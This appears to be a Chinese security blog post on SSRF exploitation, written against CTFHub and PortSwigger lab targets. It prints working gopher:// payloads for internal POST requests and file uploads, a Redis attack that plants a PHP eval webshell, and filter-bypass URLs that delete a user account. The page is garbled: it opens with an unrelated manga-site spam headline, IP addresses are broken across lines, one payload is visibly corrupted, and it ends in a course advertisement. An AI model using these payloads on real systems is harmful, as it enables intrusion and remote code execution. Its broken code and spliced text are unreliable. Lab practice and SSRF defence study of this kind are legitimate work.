核心内容摘要
歪歪漫画页面首登录全攻略:解锁精彩世界,从此告别新手期!
文章目录前言SSRF基础利用
1 http://内网资源访问
2 file:///读取内网文件
3 dict://探测内网端口SSRF进阶利用
1 Gopher协议Post请求
2 Gopher协议文件上传
3 GopherRedis-RCE
4 JavaWeb中的适用性SSRF防御绕过
1 Url黑名单检测的绕过
2 Url白名单检测的绕过
3 Url重定向-绕过校验
4 dns重绑定-绕过校验
总结前言SSRF 属于在实战中较为常见的一类漏洞 2019 年简单学习
总结过 SSRF 基础知识《Web安全-SSRF漏洞-CSDN博客》2020 年通过《渗透测试-Weblogic SSRF漏洞复现》和《从0到1浅析Redis服务器反弹Shell那些事》也学习了借助 SSRF 漏洞Redis 服务器反弹 Shell 的技巧本文进一步系统学习
总结以下 SSRF 漏洞的利用技巧和修复缺陷方案的绕过手段。
SSRF基础利用下文将围绕 CTFHub SSRF 技能树的实验展开练习
1 http://内网资源访问很明显的 SSRF 漏洞根据题目提示读取 Flag.php
2 file:///读取内网文件SSRF 漏洞利用过程常使用的伪协议类型协议类型协议数据格式协议介绍filefile://文件绝对路径名主要用于读取服务器本地文件访问本地的静态资源dictditc://ip:port、ditc://ip:port/命令一般常用来探测内网主机以及端口开放情况也可以用来执行一些服务的命令如 redissftpsftp://ip:portSftp 代表 SSH 文件传输协议或安全文件传输协议用于 Linuxtftptftp://ip:port/文件简单文件传输协议允许客户端从远程主机获取文件或将文件上传至远程主机gophergopher://ip:port/_TCP/IP数据流分布式文档传递服务使用 gopher 可发送各种格式的请求包利用此协议可以攻击内网的 FTP、Telnet、Redis、Memcache也可以进行 GET、POST 请求可使用 gopherus (工具) 生成 payload此处采用 file 协议读取本地文件?urlfile:///var/www/html/flag.php
3 dict://探测内网端口根据题目提示进行端口爆破此处采用 dict 协议进行端口探测发现 8122 端口的相应包与众不同修改为 http 协议发起 SSRF 请求获得 FlagSSRF进阶利用
1 Gopher协议Post请求先看看题目给出了如下提示借助 SSRF 访问 /flag.php 可以看到一个 key借助 file 协议查看 /flag.php、index.php 源码flag.php 很好理解检查客户端请求是否通过 post 传递了一个有效 key 值是的话则输出 Flag。
而 index.php 则需进一步解释下?php //关闭错误报告 error_reporting(
; //判断url参数是否存在 if (!isset($_REQUEST[url])){ //不存在就跳转到当前根目录 header(Location: /?url_); exit; } //初始化curl $ch curl_init(); //指定请求的url curl_setopt($ch, CURLOPT_URL, $_REQUEST[url]); //告诉curl不返回http头只返回http正文 curl_setopt($ch, CURLOPT_HEADER,
; //允许curl跟随重定向。
如果服务器响应包含重定向curl将自动处理。
curl_setopt($ch, CURLOPT_FOLLOWLOCATION,
; curl_exec($ch); curl_close($ch);解题思路自然就是通过 index.php 传递一个访问 flag.php 且携带目标 key 值的 url需要 POST 请求系统会通过 curl 访问此 URL。
如何使得 SSRF 漏洞能发起 POST 请求此时 gopher 协议便登场了。
Gopher 是早期的 Internet 信息检索系统通过索引将用户引导至不同资源主要使用 TCP 70 端口在 WWW 普及前它是主要的检索工具但现已基本过时使用较少。
gopher 协议支持发出 GET、POST 请求可以先截获 get 请求包和 post 请求包在构成符合 gopher 协议的请求。
gopher 协议是 SSRF 利用中最强大的协议。
尝试使用 Gopher 协议向服务器发送 POST 包首先构造 Gopher 协议所需的 POST 请求POST /flag.php HTTP/
1 Host:
127.
0.
1:80 Content-Length: 36 Content-Type: application/x-www-form-urlencoded keye5b1f488acba169d68b828a7b3b6a7bc在使用 Gopher协议发送 POST 请求包时Host、Content-Type和Content-Length请求头是必不可少的但在 GET 请求中可以没有而 key 值为前面访问 flag.php 的时候从注释中所获得的。
在向服务器发送请求时首先浏览器会进行一次 URL解码其次服务器收到请求后在执行 curl 请求时进行第二次 URL 解码。
所以我们需要对构造的请求包进行两次 URL 编码。
同时注意在第一次编码后的数据中将%0A换行符全部替换为%0D%0A。
因为%0A是 ASCII 码中的换行符在 URL 的二次编码中不需要否则会导致 curl 执行错误导致我们拿不到正确的结果。
然后通过以下请求将上述二次编码后的数据发送出去//使用gopher协议构造payload ?urlgopher://
127.
0.
1:80/_二次编码的url注意别少了前面那个下划线成功获得 Flag
2 Gopher协议文件上传查看 flag.php 源码提示我们上传 Webshell同时从代码上看只要往 flag.php 传递一个 size0 的 file 即可成功拿到 Flag此题目与上一题的区别在于上一题直接通过 Gopher 协议发送 Post 请求到 flag.php 并传递 key 值即可而此题目需要通过 Gopher 协议传输文件。
在开发者工具中鼠标右键选择“以 HTML 元素修改”临时修改前端代码添加文件上传的提交按钮input typesubmit namesubmit目的是提交测试文件并捕获报文于是可以构造目标报文如下POST /flag.php HTTP/
1 Host:
127.
0.
1 Content-Length: 292 Content-Type: multipart/form-data; boundary----WebKitFormBoundary1lYApMMA3NDrr2iY ------WebKitFormBoundary1lYApMMA3NDrr2iY Content-Disposition: form-data; namefile; filenametest.txt Content-Type: text/plain SSRF Upload ------WebKitFormBoundary1lYApMMA3NDrr2iY Content-Disposition: form-data; namesubmit 提交 ------WebKitFormBoundary1lYApMMA3NDrr2iY--接下来的目标就是通过 index.php 的 SSRF 漏洞借助 Gopher 协议发送上述报文到 flag.php即可获得 Flag。
跟上一题一样进行 URL 编码http://www.hiencode.com/url.html获得最终 Payload注意第一次 URL 编码后需要将 %0A换行符全部替换为%0D%0A。
然后进行第二次 URL 编码获得最终的 PayloadPayload 完整如下/?urlgopher://
127.
0.
1:80/_POST%2520/flag.php%2520HTTP/
1%250D%250AHost%253A%
2520127.
0.
1%250D%250AContent-Length%253A%2520292%250D%250AContent-Type%253A%2520multipart/form-data%253B%2520boundary%253D----WebKitFormBoundary1lYApMMA3NDrr2iY%250D%250A%250D%250A------WebKitFormBoundary1lYApMMA3NDrr2iY%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522file%2522%253B%2520filename%253D%2522test.txt%2522%250D%250AContent-Type%253A%2520text/plain%250D%250A%250D%250ASSRF%2520Upload%250D%250A------WebKitFormBoundary1lYApMMA3NDrr2iY%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522submit%2522%250D%250A%250D%250A%25E6%258F%2590%25E4%25BA%25A4%250D%250A------WebKitFormBoundary1lYApMMA3NDrr2iY--
3 GopherRedis-RCE此题目参考资料参见原来我写的博文《从0到1浅析Redis服务器反弹Shell那些事》即可此文介绍了 Redis 服务进行 RCE 的常见思路同时刚好在最后一章节提及 SSRF 借助 Redis 实现 RCE 的思路但未进行实践此处通过此题目进行实践下。
此题目思路很简单利用 SSRF 漏洞借助 Gopher 协议往 Redis 写入如下木马config set dir /var/www/html/ config set dbfilename shell.php set xxx ?php eval($_POST[cmd]);? save此处直接使用 Gophar 协议利用工具 Gopharus该工具将帮助我们生成 Gopher 有效负载以利用 SSRF服务器端请求伪造并获得 RCE远程代码执行。
而且它将帮助我们在受害服务器上获得 shell
使用方法非常简单按照提示就可以生成 payload 了python2 gopherus.py --exploit redis ________ .__ / _____/ ____ ______ | |__ ___________ __ __ ______ / \ ___ / _ \\____ \| | \_/ __ \_ __ \ | \/ ___/ \ \_\ ( _ ) |_ Y \ ___/| | \/ | /\___ \ \______ /\____/| __/|___| /\___ __| |____//____ \/ |__| \/ \/ \/ author: $_SpyD3r_$ Ready To get SHELL What do you want?? (ReverseShell/PHPShell): PHPShell Give web root location of server (default is /var/www/html): Give PHP Payload (We have default PHP Shell): ?php eval($_POST[cmd]);? Your gopher link is Ready to get PHP Shell: gopher://
127.
0.
1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2432%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_POST%5B%27cmd%27%5D%2onfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0%0A%0A When its done you can get PHP Shell in /shell.php at the server with cmd as parmeter.再进行一次 URL 编码得到最终 Payloadgopher%3A%2F%2F
127.
0.
1%3A6379%2F_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252434%250D%250A%250A%250A%253C%253Fphp%2520%2540eval%2528%2524_POST%255B%2527cmd%2527%255D%2529%253B%2520%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2Fvar%2Fwww%2Fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A发送上述 Payload报了 504 但是中国蚁剑连接成功
4 JavaWeb中的适用性为了检验上述利用方法在 JavaWeb 项目的适用性使用 Java 开源靶场项目 java-sec-code 作为验证。
在 Ubuntu 虚拟机一键启动靶场环境环境信息如下此靶场 SSRF 漏洞源码 SSRF.java 如下//https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SSRF.java RestController RequestMapping(/ssrf) public class SSRF { private static final Logger logger LoggerFactory.getLogger(SSRF.class); Resource private HttpService httpService; /** * p * The default setting of followRedirects is true. br * Protocol: file ftp mailto http https jar netdoc. br * UserAgent is Java/
1.
0_
* /p * a hrefhttp://localhost:8080/ssrf/urlConnection/vuln?urlfile:///etc/passwdhttp://localhost:8080/ssrf/urlConnection/vuln?urlfile:///etc/passwd/a */ RequestMapping(value /urlConnection/vuln, method {RequestMethod.POST, RequestMethod.GET}) public String URLConnectionVuln(String url) { return HttpUtils.URLConnection(url); } …… }访问靶场默认支持 file:/// 协议读取文件验证下 Gopher 协议是否适用目标是发送以下报文GET /appInfo HTTP/
1 Host:
192.
168.
121:8080 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/
0 (Windows NT
1
0; Win64; x
AppleWebKit/
5
36 (KHTML, like Gecko) Chrome/
126.
0.
0 Safari/
5
36 Accept: text/html,application/xhtmlxml,application/xml;q
9,image/avif,image/webp,image/apng,*/*;q
8,application/signed-exchange;vb3;q
7 Referer: http://
192.
168.
121:8080/index Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q
9,en;q
8 Cookie: JSESSIONID15FFC3C7B34EE1DAEE84887FC287C44D; XSRF-TOKEN47010a48-ee4a-46b
be-1d60be80a252; remember-meYWRtaW46MTcyMTgzNjI5NzQxOTo3ZmU5OGRjODZhZmU1ZjM3Zjc4MjU1M2Q0Yzc4OGU4ZA Connection: close进行 URL 编码后发送结果系统并不支持 Gopher 协议参考《从1开始的Java代码审计·第四弹·SSRF》可以看到大致的原因【More1】从 《奇安信攻防社区-SSRF突破对file协议的限制》看到一种绕过 file 协议限制的方法url:file://xxx【More2】顺便在此提前实践下下一章节才会提到的 URL 过滤 Bypass 技巧是否适用建议看完全文再回来看此SSRF防御绕过SSRF 漏洞常见的修复方案是对外部传递的 URL 进行过滤但是过滤不当的情况下又容易被 Bypass下文来看看相关 Bypass 技巧 实验案例除了上文提到的 CTEHub 外还会借助https://portswigger.net/web-security/ssrf。
1 Url黑名单检测的绕过【理论知识】某些应用程序会阻止包含主机名如
127.
0.
1 和 localhost 或敏感 URL如 /admin在这种情况下您通常可以使用以下技术绕过过滤器使用
127.
0.
1 的 IP 表示形式例如213070643310进制ip、0177000000018进制ip或
1
1短ip注册您自己的域名该域名解析为
127.
0.
1 可以使用 spoofed.burpcollaborator.net 达到此目的使用 URL 编码或大小写变体对被阻止的字符串进行模糊处理【实验环境】https://portswigger.net/web-security/ssrf/lab-ssrf-with-blacklist-filter。
访问实验地址是个商城单击商品详情页的库存检查发现如下携带 URL 参数的请求根据题目要求目标是访问 http://localhost/admin 界面并删除用户 carlos访问 localhost、
127.
0.
1 均被拦截上 Bypass 技巧用
1
1 替代
127.
0.
1成功绕过但是访问 http://
1
1/admin 依旧被拦截说明拦截了 admin 关键词对 admin 的首字母 a 进行二次 URL 编码得到%2561a 第一次 URL 编码为 %61第二次进行URL编码%符号被编码成 %25从而导致结果为 %2561使用它绕过 admin 关键词检测 http://
1
1/%2561dmin访问 http://
1
1/%2561dmin/delete?usernamecarlos 即可删除用户完成实验
2 Url白名单检测的绕过【理论知识】一些应用程序只允许匹配上白名单范围内的输入过滤器可能会在输入的开头或包含在输入中查找匹配项。
您可以通过利用 URL 解析中的不一致来绕过此过滤器。
URL 规范包含了许多在实现 URL 特定解析和验证时容易被忽略的特性HTTP 基本身份认证特性允许 Web 浏览器或其他客户端程序在请求时提供用户名和口令形式的身份凭证的一种登录验证方式例如https://expected-host:fakepasswordevil-host这里的是主域名解析即符号后面直接跟域名符号前面的内容会被视为用户名相当于以 expected-host:fakepassword 的用户名访问 evil-host至于用户名是啥不重要关键是后面的才是解析的地址在 URL 中#号后面的内容被称为片段标识符fragment identifier在客户端浏览器中#及其后面的内容不会被发送到服务器。
比如访问http://example.com/page#fragment 时浏览器只会向服务器发送 http://example.com/page#fragment部分只在客户端解析故可以借助https://evil-host#expected-host 绕过 url.contain(“expected-host”) 格式的域名白名单检测并最终访问 evil-host您可以利用 DNS 命名层次结构将所需的输入放入您控制的标准 DNS 名称中。
例如https://expected-host.evil-host【实验环境 1】CTFHub SSRF使用 ?urlhttp://notfound.ctfhub.com
127.
0.
1/flag.php 绕过【实验环境 2】https://portswigger.net/web-security/ssrf/lab-ssrf-with-whitelist-filterSSRF 漏洞点依旧在商品详情的检查库存请求之中简单的探测可以发现服务端将stock.weliketoshop.net设置为白名单域名如何绕过stock.weliketoshop.net白名单限制添加#发现不行尝试对 # 号进行二次 URL 编码来绕过 # 检测得到%2523# 符号的原始编码是%23。
当进行二次URL编码时已经编码的 % 符号本身也会被再次编码因此%符号被编码成%25从而导致%23变成%2523成功绕过仅仅依靠 # 无法绕过的话尝试组合拳加上 试试最终删除目标账户的 Payload 为http://localhost%2523stock.weliketoshop.net/admin/delete?usernamecarlos
3 Url重定向-绕过校验【理论知识】有时可以通过利用重定向漏洞来绕过基于过滤器的防御。
在前面的示例中假设用户提交的 URL 经过严格验证以防止恶意利用 SSRF 行为。
但是允许 URL 的应用程序包含开放重定向漏洞。
如果用于发出后端 HTTP 请求的 API 支持重定向您可以构造一个满足过滤器的 URL并将请求重定向到所需的后端目标。
例如该应用程序包含一个开放重定向漏洞其中 URL 如下/product/nextProduct?currentProductId6pathhttp://evil-user.net返回重定向到http://evil-user.net您可以利用开放重定向漏洞绕过 URL 过滤利用 SSRF 漏洞如下POST /product/stock HTTP/
0 Content-Type: application/x-www-form-urlencoded Content-Length: 118 stockApihttp://weliketoshop.net/product/nextProduct?currentProductId6pathhttp://
192.
168.
68/admin此 SSRF 漏洞之所以有效是因为应用程序首先验证提供的 stockAPI URL 是否位于允许的域上事实确实如此。
然后应用程序请求提供的 URL这会触发开放重定向。
它遵循重定向并向攻击者选择的内部 URL 发出请求。
【实验环境】https://portswigger.net/web-security/ssrf/lab-ssrf-filter-bypass-via-open-redirection观察到存在重定向漏洞的功能点于是乎借助 URL 重定向解决过滤最终删除用户的 Payload 如下/product/nextProduct?pathhttp://
192.
168.
12:8080/admin/delete?usernamecarlos
4 dns重绑定-绕过校验【理论知识】先介绍两个概念DNS 是 Domain Name Service 的缩写计算机域名服务器在 Internet 上域名与 IP 地址之间是一一对应的域名虽然便于人们记忆但机器之间只能互相认识 IP 地址它们之间的转换工作称为域名解析而域名解析需要由专门的域名解析服务器来完成这就是 DNS 域名服务器。
TTL值全称是“生存时间Time To Live)”简单的说它表示 DNS 记录在 DNS 服务器上缓存时间数值越小修改记录各地生效时间越快。
当各地的 DNS(LDNS) 服务器接受到解析请求时就会向域名指定的授权DNS 服务器发出解析请求从而获得解析记录该解析记录会在 DNS(LDNS) 服务器中保存一段时间这段时间内如果再接到这个域名的解析请求DNS 服务器将不再向授权 DNS 服务器发出请求而是直接返回刚才获得的记录而这个记录在 DNS 服务器上保留的时间就是 TTL 值。
然后说说对于常见的 IP 限制后端服务器可能通过下图的流程进行 IP 过滤对于用户请求的 URL 参数首先服务器端会对其进行 DNS 解析然后对于 DNS 服务器返回的 IP 地址进行判断如果在黑名单中就 pass 掉。
但是在整个过程中第一次去请求 DNS 服务进行域名解析到第二次服务端去请求 URL 之间存在一个时间查利用这个时间差我们可以进行 DNS 重绑定攻击。
要完成DNS重绑定攻击我们需要一个域名并且将这个域名的解析指定到我们自己的 DNS Server在我们的可控的 DNS Server 上编写解析服务设置 TTL 时间为 0。
这样就可以进行攻击了完整的攻击流程为服务器端获得 URL 参数进行第一次 DNS 解析获得了一个非内网的 IP服务端对于获得的 IP 进行判断发现为非黑名单 IP则通过验证服务器端对于 URL 进行访问由于 DNS 服务器设置的 TTL 为 0所以再次进行 DNS 解析这一次攻击者的 DNS 服务器返回的是内网地址。
由于已经绕过验证所以服务器端返回访问内网资源的结果。
总结来说由于我们无法在程序运行时以毫秒为单位手动更改 DNS 记录所以要想实现 DNS 重绑定攻击就必须配置一个自定义的恶意 DNS 服务器并设定好指定域名的解析 IP再将 TTL 设置为 0使其解析时在非法内网 IP 与合法其他IP间反复横跳。
【实验环境】CTFHub SSRF用下面这个网站可以进行 DNS 重绑定https://lock.cmpxchg8b.com/rebinder.html。
绑定的两个 ip 中保证有一个是
127.
0.
1 即可我这里和
192.
168.
1 绑定了结果为 7f
c0a
rbndr.us。
因此我们的url7f
c0a
rbndr.us/flag.php注意这个域名相当于绑定了两个 ip 地址同一时刻只对应一个由于无法确定进行 dns 校验时的 ip 是否为
127.
0.
1可能一次请求不成功多刷新几次即可。
总结本文借助 CTFHub 与 portswigger 两个 SSRF 靶场实践练习了 SSRF 漏洞的基础利用内网访问、文件读取、端口探测和进阶利用Gopher 协议发送 post 请求、攻击 Redis 实现 RCE 等最后实践了常见的防御方案绕过手段黑白名单绕过、重定向、DNS 绑定等。
最后说下 SSRF 漏洞的防御手段禁止302跳转或者每跳转一次都进行校验目的地址是否为内网地址或合法地址。
过滤返回信息验证远程服务器对请求的返回结果是否合法。
禁用高危协议例如gopher、dict、ftp、file 等只允许 http/https设置 URL 白名单或者限制内网 IP限制请求的端口为 http 的常用端口或者根据业务需要治开放远程调用服务的端口catch错误信息做统一错误信息避免黑客通过错误信息判断端口对应的服务。
学习资源如果你是也准备转行学习网络安全黑客或者正在学习这里开源一份360智榜样学习中心独家出品《网络攻防知识库》,希望能够帮助到你知识库由360智榜样学习中心独家打造出品旨在帮助网络安全从业者或兴趣爱好者零基础快速入门提升实战能力熟练掌握基础攻防到深度对抗。
知识库价值深度 本知识库超越常规工具手册深入剖析攻击技术的底层原理与高级防御策略并对业内挑战巨大的APT攻击链分析、隐蔽信道建立等提供了独到的技术视角和实战验证过的对抗方案。
广度 面向企业安全建设的核心场景渗透测试、红蓝对抗、威胁狩猎、应急响应、安全运营本知识库覆盖了从攻击发起、路径突破、权限维持、横向移动到防御检测、响应处置、溯源反制的全生命周期关键节点是应对复杂攻防挑战的实用指南。
实战性 知识库内容源于真实攻防对抗和大型演练实践通过详尽的攻击复现案例、防御配置实例、自动化脚本代码来传递核心思路与落地方法。
部分核心内容展示360智榜样学习中心独家《网络攻防知识库》采用由浅入深、攻防结合的讲述方式既夯实基础技能更深入高阶对抗技术。
360智榜样学习中心独家《网络攻防知识库》采用由浅入深、攻防结合的讲述方式既夯实基础技能更深入高阶对抗技术。
内容组织紧密结合攻防场景辅以大量真实环境复现案例、自动化工具脚本及配置解析。
通过策略讲解、原理剖析、实战演示相结合是你学习过程中好帮手。